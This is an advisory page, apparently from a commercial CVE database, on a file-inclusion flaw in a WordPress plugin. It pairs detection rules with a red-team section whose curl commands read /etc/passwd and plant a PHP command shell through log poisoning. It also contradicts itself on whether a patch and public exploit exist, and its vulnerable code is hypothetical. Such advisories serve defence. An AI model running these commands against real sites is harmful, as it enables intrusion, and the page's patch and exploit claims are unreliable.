CVE-2025-67992
Executive Summary
CVE-2025-67992 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the PatioTime WordPress plugin by LoftOcean, versions prior to 2.1. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., /etc/passwd, database credentials), remote code execution via log poisoning, or full server compromise. The CVSS score of 8.1 (High) reflects the low attack complexity and network-based vector. No public exploit code or patch details are currently available, but the risk is elevated due to the widespread use of WordPress.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and third-party marketplaces. Users must manually update or patch the plugin. No official patch has been released by LoftOcean as of this report.
CVSS Breakdown & Threat Level
- CVSS Score: 8.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to read arbitrary files and potentially execute code, leading to full site takeover.
Deep Dive & Mechanics
The vulnerability exists in the patiotime plugin's PHP code, specifically in functions that handle file inclusion without proper sanitization. The plugin likely uses user-supplied input (e.g., via $_GET, $_POST, or $_COOKIE) to construct file paths for include() or require() statements. An attacker can manipulate this input to traverse directories (e.g., ../../../../etc/passwd) and include arbitrary files.
Root Cause: The plugin fails to validate or sanitize the filename parameter before passing it to a PHP include function. This is a classic CWE-98 (Improper Control of Filename for Include/Require Statement).
Attack Flow:
- Attacker identifies a vulnerable endpoint (e.g.,
?page=...or?file=...). - Attacker sends a request with a path traversal payload:
?file=../../../../etc/passwd%00(null byte injection may be needed for older PHP versions). - The server includes the specified file, outputting its contents in the response.
- For RCE, attacker can use log poisoning (e.g., inject PHP code into Apache/Nginx logs via User-Agent, then include the log file).
Vulnerable vs. Patched Code
Vulnerable Code (Example):
<?php
$file = $_GET['file'];
include($file . '.php');
?>
Patched Code (Hypothetical):
<?php
$allowed_files = array('home', 'about', 'contact');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
include($file . '.php');
} else {
// Handle error
}
?>
The patched version uses a whitelist approach to restrict file inclusion to predefined safe files.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- WordPress installation with PatioTime plugin version < 2.1.
- Attacker machine with curl or Burp Suite.
Exploitation Steps:
- File Disclosure:
curl "http://target/wp-content/plugins/patiotime/vulnerable.php?file=../../../../etc/passwd" - Log Poisoning for RCE:
- Inject PHP code into User-Agent:
curl -A "<?php system($_GET['cmd']); ?>" "http://target/" - Include the log file:
curl "http://target/wp-content/plugins/patiotime/vulnerable.php?file=../../../../var/log/apache2/access.log&cmd=id"
- Inject PHP code into User-Agent:
Note: No public exploit code is available; this is a conceptual demonstration.
Blue Team (Defensive)
Detection:
- Monitor for path traversal patterns in HTTP requests (e.g.,
../,%2e%2e%2f). - Alert on inclusion of sensitive files (e.g.,
/etc/passwd,/etc/shadow). - Use WAF rules to block directory traversal sequences.
Hunting:
- Search web server logs for requests to plugin files with suspicious parameters.
- Look for unusual User-Agent strings containing PHP code.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests containing
../or%2e%2e%2fin parameters. - Requests to
/wp-content/plugins/patiotime/withfile=orpage=parameters. - User-Agent strings containing
<?php,system(, orexec(.
- HTTP requests containing
- File System:
- Unexpected inclusion of
/etc/passwd,/etc/shadow, orwp-config.phpin responses. - Presence of webshells in web-accessible directories.
- Unexpected inclusion of
- Logs:
- Web server logs showing inclusion of system files.
- PHP error logs with "include(): Failed opening" messages.
Detection Engineering
YARA Rule
rule CVE_2025_67992_LFI {
meta:
description = "Detects path traversal attempts targeting PatioTime plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67992"
strings:
$path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
$plugin_path = /\/wp-content\/plugins\/patiotime\//
condition:
$plugin_path and $path_traversal
}
Sigma Rule
title: CVE-2025-67992 PatioTime LFI Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts against PatioTime WordPress plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- '/wp-content/plugins/patiotime/'
- 'file='
- 'page='
cs-uri-query|re:
- '\.\.\/'
- '\.\.\\'
- '%2e%2e%2f'
- '%2e%2e%5c'
condition: selection
falsepositives:
- Legitimate use of relative paths in other plugins
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-67992 PatioTime LFI Attempt"; flow:to_server; content:"/wp-content/plugins/patiotime/"; http_uri; pcre:"/(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is available.
- Implement WAF rules to block path traversal patterns.
- Restrict file permissions on sensitive system files.
Long-term Fix:
- Apply the official patch from LoftOcean when released.
- Upgrade to PatioTime version 2.1 or later.
- Use a WordPress security plugin (e.g., Wordfence) to add virtual patching.
Workarounds:
- Modify the plugin code to use a whitelist of allowed files.
- Disable PHP
allow_url_includeandallow_url_fopenif not needed.
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.